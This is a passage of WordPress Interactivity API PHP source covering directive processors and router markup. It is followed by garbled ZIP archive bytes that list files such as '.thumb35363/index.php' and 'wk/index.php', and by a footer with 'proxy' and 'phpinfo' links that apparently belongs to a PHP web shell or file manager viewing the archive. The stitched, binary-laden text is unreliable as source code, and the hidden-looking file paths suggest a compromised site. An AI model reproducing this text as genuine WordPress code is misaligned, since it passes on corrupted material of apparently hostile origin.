extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' ) * extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' ) * * @since 6.5.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix and optional suffix. */ private function extract_prefix_and_suffix( string $directive_name ): array { return explode( '--', $directive_name, 2 ); } /** * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. */ private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) || is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } /* * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. */ $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json || 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /** * Transforms a kebab-case string to camelCase. * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. */ private function kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /** * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); /* * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. */ $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /** * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $attribute_value = $p->get_attribute( 'data-wp-context' ); $namespace_value = end( $this->namespace_stack ); // Separates the namespace from the context JSON object. list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); /* * If there is a namespace, it adds a new context to the stack merging the * previous context with the new one. */ if ( is_string( $namespace_value ) ) { $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() ) ); } else { /* * If there is no namespace, it pushes the current context to the stack. * It needs to do so because the function pops out the current context * from the stack whenever it finds a `data-wp-context`'s closing tag. */ $this->context_stack[] = end( $this->context_stack ); } } /** * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' ); foreach ( $all_bind_directives as $attribute_name ) { list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $bound_attribute ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( null !== $result && ( false !== $result || ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) ) { /* * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if ( is_bool( $result ) && ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $bound_attribute, $result ); } else { $p->remove_attribute( $bound_attribute ); } } } } /** * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); foreach ( $all_class_directives as $attribute_name ) { list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $class_name ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /** * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' ); foreach ( $all_style_attributes as $attribute_name ) { list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $style_property ) ) { continue; } $directive_attribute_value = $p->get_attribute( $attribute_name ); $style_property_value = $this->evaluate( $directive_attribute_value ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; /* * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. */ if ( $style_property_value || $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); /* * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. */ if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /** * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string|false|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. */ private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /** * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $attribute_value = $p->get_attribute( 'data-wp-text' ); $result = $this->evaluate( $attribute_value ); /* * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. */ if ( is_string( $result ) || is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /** * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. */ private function get_router_animation_styles(): string { return <<<CSS .wp-interactivity-router-loading-bar { position: fixed; top: 0; left: 0; margin: 0; padding: 0; width: 100vw; max-width: 100vw !important; height: 4px; background-color: #000; opacity: 0 } .wp-interactivity-router-loading-bar.start-animation { animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards } .wp-interactivity-router-loading-bar.finish-animation { animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in } @keyframes wp-interactivity-router-loading-bar-start-animation { 0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 } 100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 } } @keyframes wp-interactivity-router-loading-bar-finish-animation { 0% { opacity: 1 } 50% { opacity: 1 } 100% { opacity: 0 } } CSS; } /** * Deprecated. * * @since 6.5.0 * @deprecated 6.7.0 Use {@see WP_Interactivity_API::print_router_markup} instead. */ public function print_router_loading_and_screen_reader_markup() { _deprecated_function( __METHOD__, '6.7.0', 'WP_Interactivity_API::print_router_markup' ); // Call the new method. $this->print_router_markup(); } /** * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 */ public function print_router_markup() { echo <<<HTML <div class="wp-interactivity-router-loading-bar" data-wp-interactive="core/router" data-wp-class--start-animation="state.navigation.hasStarted" data-wp-class--finish-animation="state.navigation.hasFinished" ></div> HTML; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /** * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. */ private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0]; $extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name ); $item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item'; $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); /* * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp || empty( $result ) || ! is_array( $result ) || ! array_is_list( $result ) || ! str_starts_with( trim( $inner_content ), '<' ) || ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Extracts the namespace from the directive attribute value. $namespace_value = end( $this->namespace_stack ); list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } // Adds the `data-wp-each-child` to each top-level tag. $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', true ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } } PK 0C�[Ŵ � � interactivity-api.phpnu �[��� PK 0C�[�Dt"? ? 3 � class-wp-interactivity-api-directives-processor.phpnu �[��� PK 0C�[�/P��} �} �2 .thumb35363/index.phpnu �[��� PK 0C�[��f��� �� �� wk/index.phpnu �[��� PK 0C�[��[�ծ ծ �� class-wp-interactivity-api.phpnu �[��� PK � �=
| ver. 1.4 |
Github
|
.
| PHP 8.3.28 | Generation time: 0.1 |
proxy
|
phpinfo
|
Settings